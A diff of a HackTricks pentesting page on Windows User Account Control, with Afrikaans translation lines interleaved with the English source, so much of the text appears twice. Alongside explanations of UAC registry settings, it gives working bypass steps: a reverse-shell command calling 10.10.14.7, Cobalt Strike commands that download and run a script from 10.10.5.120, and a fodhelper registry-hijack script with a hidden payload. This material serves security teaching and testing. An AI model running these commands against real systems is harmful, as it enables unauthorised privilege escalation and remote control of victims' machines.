| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Gedeaktiveer |
|
||||
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Gedeaktiveer |
|
||||
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt vir toestemming vir nie-Windows binêre |
|
||||
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt vir kredensiale op die veilige desktop |
|
||||
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Geaktiveer (standaard vir huis) Gedeaktiveer (standaard vir onderneming) |
|
||||
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Gedeaktiveer |
|
||||
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Geaktiveer |
|
||||
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Geaktiveer |
|
||||
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Geaktiveer |
|
||||
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Geaktiveer |
|
||||
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabled |
|
||||
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabled |
|
||||
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries |
|
||||
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop |
|
||||
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise) |
|
||||
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabled |
|
||||
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Enabled |
|
||||
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Enabled |
|
||||
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Enabled |
|
||||
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Enabled |
|
||||
|
||||
### UAC Bypass Theory
|
||||
|
||||
Sommige programme is **outomaties verhoog** as die **gebruiker behoort** tot die **administrateur groep**. Hierdie binêre het binne hul _**Manifeste**_ die _**autoElevate**_ opsie met die waarde _**True**_. Die binêre moet ook **onderteken wees deur Microsoft**.
|
||||
Some programs are **autoelevated automatically** if the **user belongs** to the **administrator group**. These binaries have inside their _**Manifests**_ the _**autoElevate**_ option with value _**True**_. The binary has to be **signed by Microsoft** also.
|
||||
|
||||
Baie outomaties verhoog prosesse stel **funksionaliteit via COM objek of RPC bedieners** bloot, wat van prosesse wat met medium integriteit (gereelde gebruiker-vlak regte) loop, geaktiveer kan word. Let daarop dat COM (Component Object Model) en RPC (Remote Procedure Call) metodes is wat Windows programme gebruik om te kommunikeer en funksies oor verskillende prosesse uit te voer. Byvoorbeeld, **`IFileOperation COM object`** is ontwerp om lêer operasies (kopieer, verwyder, skuif) te hanteer en kan outomaties regte verhoog sonder 'n prompt.
|
||||
Many auto-elevate processes expose **functionality via COM objects or RPC servers**, which can be invoked from processes running with medium integrity (regular user-level privileges). Note that COM (Component Object Model) and RPC (Remote Procedure Call) are methods Windows programs use to communicate and execute functions across different processes. For example, **`IFileOperation COM object`** is designed to handle file operations (copying, deleting, moving) and can automatically elevate privileges without a prompt.
|
||||
|
||||
Let daarop dat sommige kontroles uitgevoer kan word, soos om te kyk of die proses vanuit die **System32 gids** uitgevoer is, wat omgegaan kan word deur byvoorbeeld **in te spuit in explorer.exe** of 'n ander uitvoerbare in System32.
|
||||
Note that some checks might be performed, like checking if the process was run from the **System32 directory**, which can be bypassed for example **injecting into explorer.exe** or another System32-located executable.
|
||||
|
||||
Nog 'n manier om hierdie kontroles te omseil is om die **PEB** te **wysig**. Elke proses in Windows het 'n Process Environment Block (PEB), wat belangrike data oor die proses insluit, soos sy uitvoerbare pad. Deur die PEB te wysig, kan aanvallers die ligging van hul eie kwaadwillige proses vervals, sodat dit lyk asof dit vanuit 'n vertroude gids (soos system32) loop. Hierdie vervalste inligting mislei die COM objek om regte outomaties te verhoog sonder om die gebruiker te vra.
|
||||
Another way to bypass these checks is to **modify the PEB**. Every process in Windows has a Process Environment Block (PEB), which includes important data about the process, such as its executable path. By modifying the PEB, attackers can fake (spoof) the location of their own malicious process, making it appear to run from a trusted directory (like system32). This spoofed information tricks the COM object into auto-elevating privileges without prompting the user.
|
||||
|
||||
Dan, om die **UAC** te **omseil** (verhoog van **medium** integriteitsvlak **na hoog**) gebruik sommige aanvallers hierdie soort binêre om **arbitraire kode** uit te voer omdat dit vanaf 'n **Hoë vlak integriteits proses** uitgevoer sal word.
|
||||
Then, to **bypass** the **UAC** (elevate from **medium** integrity level **to high**) some attackers use this kind of binaries to **execute arbitrary code** because it will be executed from a **High level integrity process**.
|
||||
|
||||
Jy kan die _**Manifest**_ van 'n binêre nagaan met die hulpmiddel _**sigcheck.exe**_ van Sysinternals. (`sigcheck.exe -m <file>`) En jy kan die **integriteitsvlak** van die prosesse sien met _Process Explorer_ of _Process Monitor_ (van Sysinternals).
|
||||
You can **check** the _**Manifest**_ of a binary using the tool _**sigcheck.exe**_ from Sysinternals. (`sigcheck.exe -m <file>`) And you can **see** the **integrity level** of the processes using _Process Explorer_ or _Process Monitor_ (of Sysinternals).
|
||||
|
||||
### Check UAC
|
||||
### Kontroleer UAC
|
||||
|
||||
Om te bevestig of UAC geaktiveer is, doen:
|
||||
Om te bevestig of UAC aangeskakel is doen:
|
||||
```
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
|
||||
|
||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
EnableLUA REG_DWORD 0x1
|
||||
```
|
||||
As dit **`1`** is, dan is UAC **geaktiveer**, as dit **`0`** is of dit **nie bestaan** nie, dan is UAC **inaktief**.
|
||||
As dit **`1`** is, is UAC **geaktiveer**, as dit **`0`** is of dit nie bestaan nie, dan is UAC **inaktief**.
|
||||
|
||||
Kontroleer dan **watter vlak** geconfigureer is:
|
||||
Kyk dan watter **vlak** gekonfigureer is:
|
||||
```
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
|
||||
|
||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
ConsentPromptBehaviorAdmin REG_DWORD 0x5
|
||||
```
|
||||
- As **`0`** dan sal UAC nie vra nie (soos **deaktiveer**)
|
||||
- As **`1`** word die admin **gevra om gebruikersnaam en wagwoord** om die binêre met hoë regte uit te voer (op Secure Desktop)
|
||||
- As **`2`** (**Altijd vra my**) sal UAC altyd om bevestiging van die administrateur vra wanneer hy probeer om iets met hoë regte uit te voer (op Secure Desktop)
|
||||
- As **`3`** soos `1` maar nie noodsaaklik op Secure Desktop nie
|
||||
- As **`4`** soos `2` maar nie noodsaaklik op Secure Desktop nie
|
||||
- as **`5`**(**standaard**) sal dit die administrateur vra om te bevestig om nie-Windows binêre met hoë regte te loop
|
||||
- If **`0`** then, UAC won't prompt (like **uitgeskakel**)
|
||||
- If **`1`** the admin is **asked for username and password** to execute the binary with high rights (on Secure Desktop)
|
||||
- If **`2`** (**Altyd waarsku my**) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)
|
||||
- If **`3`** like `1` but not necessary on Secure Desktop
|
||||
- If **`4`** like `2` but not necessary on Secure Desktop
|
||||
- if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges
|
||||
|
||||
Dan moet jy na die waarde van **`LocalAccountTokenFilterPolicy`** kyk\
|
||||
As die waarde **`0`** is, kan slegs die **RID 500** gebruiker (**ingeboude Administrateur**) **admin take sonder UAC** uitvoer, en as dit `1` is, kan **alle rekeninge binne die "Administrators"** groep dit doen.
|
||||
Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**\
|
||||
If the value is **`0`**, then, only the **RID 500** user (**built-in Administrator**) is able to perform **admin tasks without UAC**, and if its `1`, **all accounts inside "Administrators"** group can do them.
|
||||
|
||||
En, laastens, kyk na die waarde van die sleutel **`FilterAdministratorToken`**\
|
||||
As **`0`**(standaard), kan die **ingeboude Administrateur rekening** afstandsadministrasietake doen en as **`1`** kan die ingeboude rekening Administrateur **nie** afstandsadministrasietake doen nie, tensy `LocalAccountTokenFilterPolicy` op `1` gestel is.
|
||||
And, finally take a look at the value of the key **`FilterAdministratorToken`**\
|
||||
If **`0`**(default), the **built-in Administrator account can** do remote administration tasks and if **`1`** the built-in account Administrator **cannot** do remote administration tasks, unless `LocalAccountTokenFilterPolicy` is set to `1`.
|
||||
|
||||
#### Samevatting
|
||||
#### Summary
|
||||
|
||||
- As `EnableLUA=0` of **nie bestaan nie**, **geen UAC vir enigiemand**
|
||||
- As `EnableLua=1` en **`LocalAccountTokenFilterPolicy=1`, Geen UAC vir enigiemand**
|
||||
- As `EnableLua=1` en **`LocalAccountTokenFilterPolicy=0` en `FilterAdministratorToken=0`, Geen UAC vir RID 500 (Inggeboude Administrateur)**
|
||||
- As `EnableLua=1` en **`LocalAccountTokenFilterPolicy=0` en `FilterAdministratorToken=1`, UAC vir almal**
|
||||
- If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone**
|
||||
|
||||
Al hierdie inligting kan versamel word met die **metasploit** module: `post/windows/gather/win_privs`
|
||||
All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs`
|
||||
|
||||
Jy kan ook die groepe van jou gebruiker nagaan en die integriteitsvlak kry:
|
||||
You can also check the groups of your user and get the integrity level:
|
||||
```
|
||||
net user %username%
|
||||
whoami /groups | findstr Level
|
||||
```
|
||||
## UAC omseiling
|
||||
## UAC bypass
|
||||
|
||||
> [!TIP]
|
||||
> Let daarop dat as jy grafiese toegang tot die slagoffer het, UAC omseiling eenvoudig is, aangesien jy net op "Ja" kan klik wanneer die UAC-prompt verskyn.
|
||||
> Neem kennis dat as jy grafiese toegang tot die slagoffer het, UAC bypass baie eenvoudig is, aangesien jy net op "Yes" kan klik wanneer die UAC-prompt verskyn
|
||||
|
||||
Die UAC omseiling is nodig in die volgende situasie: **die UAC is geaktiveer, jou proses loop in 'n medium integriteitskonteks, en jou gebruiker behoort tot die administrateursgroep**.
|
||||
Die UAC bypass is nodig in die volgende situasie: **die UAC is geaktiveer, jou proses loop in 'n medium integrity context, en jou gebruiker is lid van die administrators group**.
|
||||
|
||||
Dit is belangrik om te noem dat dit **baie moeiliker is om die UAC te omseil as dit op die hoogste sekuriteitsvlak (Altijd) is as wanneer dit op enige van die ander vlakke (Standaard) is.**
|
||||
Dit is belangrik om te noem dat dit **veel moeiliker is om die UAC te omseil as dit op die hoogste sekuriteitsvlak (Always) is as wanneer dit op enige van die ander vlakke (Default) is.**
|
||||
|
||||
### UAC gedeaktiveer
|
||||
### UAC uitgeschakel
|
||||
|
||||
As UAC reeds gedeaktiveer is (`ConsentPromptBehaviorAdmin` is **`0`**) kan jy **'n omgekeerde skulp met administratiewe regte uitvoer** (hoë integriteitsvlak) met iets soos:
|
||||
Indien UAC reeds uitgeschakel is (`ConsentPromptBehaviorAdmin` is **`0`**) kan jy **execute a reverse shell with admin privileges** (high integrity level) uitvoer deur iets soos:
|
||||
```bash
|
||||
#Put your reverse shell instead of "calc.exe"
|
||||
Start-Process powershell -Verb runAs "calc.exe"
|
||||
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
|
||||
```
|
||||
#### UAC omseiling met token duplisering
|
||||
#### UAC bypass with token duplication
|
||||
|
||||
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
|
||||
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
|
||||
|
||||
### **Baie** Basiese UAC "omseiling" (volledige lêerstelselo toegang)
|
||||
### **Baie** Basiese UAC "bypass" (volle toegang tot die file system)
|
||||
|
||||
As jy 'n shell het met 'n gebruiker wat in die Administrators-groep is, kan jy **die C$** gedeelde via SMB (lêerstelsel) plaaslik op 'n nuwe skyf monteer en jy sal **toegang hê tot alles binne die lêerstelsel** (selfs die Administrateur se tuisgids).
|
||||
As jy 'n shell het met 'n gebruiker wat binne die Administrators group is, kan jy die gedeelde **C$** via SMB (file system) plaaslik op 'n nuwe skyf mount en sal jy **toegang tot alles binne die file system** hê (selfs die Administrator home folder).
|
||||
|
||||
> [!WARNING]
|
||||
> **Dit lyk asof hierdie truuk nie meer werk nie**
|
||||
@ -123,9 +124,9 @@ cd C$
|
||||
#Or you could just access it:
|
||||
dir \\127.0.0.1\c$\Users\Administrator\Desktop
|
||||
```
|
||||
### UAC omseiling met cobalt strike
|
||||
### UAC bypass met cobalt strike
|
||||
|
||||
Die Cobalt Strike tegnieke sal slegs werk as UAC nie op sy maksimum sekuriteitsvlak gestel is nie.
|
||||
Die Cobalt Strike-tegnieke sal slegs werk as UAC nie op sy maksimum veiligheidsvlak gestel is nie.
|
||||
```bash
|
||||
# UAC bypass via token duplication
|
||||
elevate uac-token-duplication [listener_name]
|
||||
@ -137,18 +138,18 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
|
||||
# Bypass UAC with CMSTPLUA COM interface
|
||||
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
|
||||
```
|
||||
**Empire** en **Metasploit** het ook verskeie modules om die **UAC** te **omseil**.
|
||||
**Empire** en **Metasploit** het ook verskeie modules om die **UAC** te **bypass**.
|
||||
|
||||
### KRBUACBypass
|
||||
|
||||
Dokumentasie en hulpmiddel in [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
|
||||
Dokumentasie en hulpmiddel by [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
|
||||
|
||||
### UAC omseil ontploffings
|
||||
### UAC bypass exploits
|
||||
|
||||
[**UACME** ](https://github.com/hfiref0x/UACME) wat 'n **samestelling** van verskeie UAC omseil ontploffings is. Let daarop dat jy **UACME met visual studio of msbuild moet saamstel**. Die samestelling sal verskeie uitvoerbare lêers skep (soos `Source\Akagi\outout\x64\Debug\Akagi.exe`), jy moet weet **watter een jy nodig het.**\
|
||||
Jy moet **versigtig wees** omdat sommige omseilings **ander programme kan vra** wat die **gebruiker** sal **waarsku** dat iets aan die gebeur is.
|
||||
[**UACME** ](https://github.com/hfiref0x/UACME) wat 'n **samestelling** van verskeie UAC bypass exploits is. Let wel dat jy **UACME moet compileer met visual studio of msbuild**. Die samestelling sal verskeie uitvoerbare lêers skep (soos `Source\Akagi\outout\x64\Debug\Akagi.exe`), jy sal moet weet **watter een jy nodig het.**\
|
||||
Jy moet **versigtig wees** omdat sommige bypasses **ander programme sal laat reageer** wat die **gebruiker** sal **waarsku** dat iets aan die gang is.
|
||||
|
||||
UACME het die **bou weergawe waaruit elke tegniek begin werk het**. Jy kan soek na 'n tegniek wat jou weergawes beïnvloed:
|
||||
UACME het die **build-weergawe waarvan elke tegniek begin werk het**. Jy kan soek na 'n tegniek wat jou weergawes beïnvloed:
|
||||
```
|
||||
PS C:\> [environment]::OSVersion.Version
|
||||
|
||||
@ -156,41 +157,79 @@ Major Minor Build Revision
|
||||
----- ----- ----- --------
|
||||
10 0 14393 0
|
||||
```
|
||||
Ook, deur [hierdie](https://en.wikipedia.org/wiki/Windows_10_version_history) bladsy te gebruik, kry jy die Windows weergawe `1607` van die bou weergawes.
|
||||
Ook, deur [this](https://en.wikipedia.org/wiki/Windows_10_version_history) bladsy te gebruik, kry jy die Windows-uitgawe `1607` uit die build-weergawes.
|
||||
|
||||
#### Meer UAC omseilings
|
||||
### UAC Bypass – fodhelper.exe (Registry hijack)
|
||||
|
||||
**Alle** die tegnieke wat hier gebruik word om AUC te omseil **vereis** 'n **volledige interaktiewe skulp** met die slagoffer (n 'n algemene nc.exe skulp is nie genoeg nie).
|
||||
Die vertroude binêr `fodhelper.exe` word outo-verhoog op moderne Windows. Wanneer dit gestart word, vra dit die per-gebruiker-registerpad hieronder op sonder om die `DelegateExecute` werkwoord te valideer. Om 'n opdrag daar te plaas laat 'n Medium Integrity-proses (gebruiker is in Administrators) toe om 'n High Integrity-proses te skep sonder 'n UAC-prompt.
|
||||
|
||||
Jy kan 'n **meterpreter** sessie gebruik. Migreer na 'n **proses** wat die **Sessie** waarde gelyk is aan **1**:
|
||||
Registerpad wat deur fodhelper opgevra word:
|
||||
```
|
||||
HKCU\Software\Classes\ms-settings\Shell\Open\command
|
||||
```
|
||||
PowerShell stappe (stel jou payload, dan trigger):
|
||||
```powershell
|
||||
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
|
||||
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
|
||||
|
||||
# 1) Create the vulnerable key and values
|
||||
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
|
||||
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
|
||||
|
||||
# 2) Set default command to your payload (example: reverse shell or cmd)
|
||||
# Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)
|
||||
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force
|
||||
|
||||
# 3) Trigger auto-elevation
|
||||
Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
|
||||
|
||||
# 4) (Recommended) Cleanup
|
||||
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
|
||||
```
|
||||
Aantekeninge:
|
||||
- Werk wanneer die huidige gebruiker 'n lid is van Administrators en UAC vlak is standaard/toegeeflik (nie Always Notify met ekstra beperkings nie).
|
||||
- Gebruik die `sysnative` pad om 'n 64-bit PowerShell vanaf 'n 32-bit proses op 64-bit Windows te start.
|
||||
- Payload kan enige opdrag wees (PowerShell, cmd, of 'n EXE-pad). Vermy prompting UIs vir stealth.
|
||||
|
||||
#### Meer UAC bypass
|
||||
|
||||
**All** die tegnieke wat hier gebruik word om AUC te omseil **require** 'n **full interactive shell** met die teiken ( 'n gewone nc.exe shell is nie genoeg nie).
|
||||
|
||||
You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**:
|
||||
|
||||
.png>)
|
||||
|
||||
(_explorer.exe_ behoort te werk)
|
||||
|
||||
### UAC Omseiling met GUI
|
||||
### UAC Bypass met GUI
|
||||
|
||||
As jy toegang het tot 'n **GUI kan jy net die UAC prompt aanvaar** wanneer jy dit kry, jy het regtig nie 'n omseiling daarvoor nodig nie. Dus, om toegang tot 'n GUI te kry, sal jou in staat stel om die UAC te omseil.
|
||||
As jy toegang tot 'n **GUI het** kan jy net die UAC prompt aanvaar wanneer jy dit kry; jy het nie regtig 'n bypass nodig nie. Dus, toegang tot 'n GUI sal jou toelaat om die UAC te omseil.
|
||||
|
||||
Boonop, as jy 'n GUI sessie kry wat iemand gebruik het (potensieel via RDP) is daar **sommige gereedskap wat as administrateur sal loop** van waar jy 'n **cmd** byvoorbeeld **as admin** direk kan **uitvoer** sonder om weer deur UAC gevra te word soos [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Dit mag 'n bietjie meer **stealthy** wees.
|
||||
Boonop, as jy 'n GUI-sessie kry wat iemand gebruik het (miskien via RDP) is daar **some tools that will be running as administrator** vanwaar jy byvoorbeeld 'n **cmd** kan run **as admin** direk sonder om weer deur UAC gevra te word, soos [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Dit kan 'n bietjie meer **stealthy** wees.
|
||||
|
||||
### Ratelige brute-force UAC omseiling
|
||||
### Luidrugtige brute-force UAC bypass
|
||||
|
||||
As jy nie omgee om geraas te maak nie, kan jy altyd **iets soos** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) **loop wat vra om regte te verhoog totdat die gebruiker dit aanvaar**.
|
||||
As dit vir jou nie saak maak om luidrugtig te wees nie, kan jy altyd **run something like** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) wat **ask to elevate permissions until the user does accepts it**.
|
||||
|
||||
### Jou eie omseiling - Basiese UAC omseiling metodologie
|
||||
### Jou eie bypass - Basiese UAC bypass methodology
|
||||
|
||||
As jy na **UACME** kyk, sal jy opgemerk dat **meeste UAC omseilings 'n Dll Hijacking kwesbaarheid misbruik** (hoofsaaklik deur die kwaadwillige dll op _C:\Windows\System32_ te skryf). [Lees dit om te leer hoe om 'n Dll Hijacking kwesbaarheid te vind](../windows-local-privilege-escalation/dll-hijacking/index.html).
|
||||
If you take a look to **UACME** you will note that **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
|
||||
|
||||
1. Vind 'n binêre wat **autoelevate** (kontroleer dat wanneer dit uitgevoer word, dit in 'n hoë integriteitsvlak loop).
|
||||
2. Met procmon vind "**NAME NOT FOUND**" gebeurtenisse wat kwesbaar kan wees vir **DLL Hijacking**.
|
||||
3. Jy sal waarskynlik die **DLL** binne 'n paar **beskermde paaie** (soos C:\Windows\System32) moet **skryf** waar jy nie skryfregte het nie. Jy kan dit omseil deur:
|
||||
1. **wusa.exe**: Windows 7, 8 en 8.1. Dit laat jou toe om die inhoud van 'n CAB-lêer binne beskermde paaie uit te trek (omdat hierdie hulpmiddel van 'n hoë integriteitsvlak uitgevoer word).
|
||||
1. Vind 'n binary wat sal **autoelevate** (kontroleer dat wanneer dit uitgevoer word dit op 'n hoë integriteitsvlak loop).
|
||||
2. Met procmon vind "**NAME NOT FOUND**" events wat vatbaar kan wees vir **DLL Hijacking**.
|
||||
3. Jy sal waarskynlik die DLL binne sommige **protected paths** moet skryf (soos C:\Windows\System32) waar jy nie skryfpermissies het nie. Jy kan dit omseil met behulp van:
|
||||
1. **wusa.exe**: Windows 7,8 and 8.1. Dit allow om die inhoud van 'n CAB file in beskermde paaie uit te pak (want hierdie tool word uitgevoer op 'n hoë integriteitsvlak).
|
||||
2. **IFileOperation**: Windows 10.
|
||||
4. Berei 'n **script** voor om jou DLL binne die beskermde pad te kopieer en die kwesbare en autoelevated binêre uit te voer.
|
||||
4. Berei 'n **script** voor om jou DLL in die beskermde pad te kopieer en die kwesbare en autoelevated binary uit te voer.
|
||||
|
||||
### Nog 'n UAC omseiling tegniek
|
||||
### Nog 'n UAC bypass technique
|
||||
|
||||
Bestaan uit om te kyk of 'n **autoElevated binêre** probeer om **te lees** van die **register** die **naam/pad** van 'n **binêre** of **opdrag** om **uitgevoer** te word (dit is meer interessant as die binêre hierdie inligting binne die **HKCU** soek).
|
||||
Bestaan daarin om te monitor of 'n **autoElevated binary** probeer om vanaf die **registry** die **name/path** van 'n **binary** of **command** wat uitgevoer moet word te **read** (dit is meer interessant as die binary hierdie inligting binne die **HKCU** soek).
|
||||
|
||||
## References
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
- [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/)
|
||||
- [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)
|
||||
- [UACME – UAC bypass techniques collection](https://github.com/hfiref0x/UACME)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user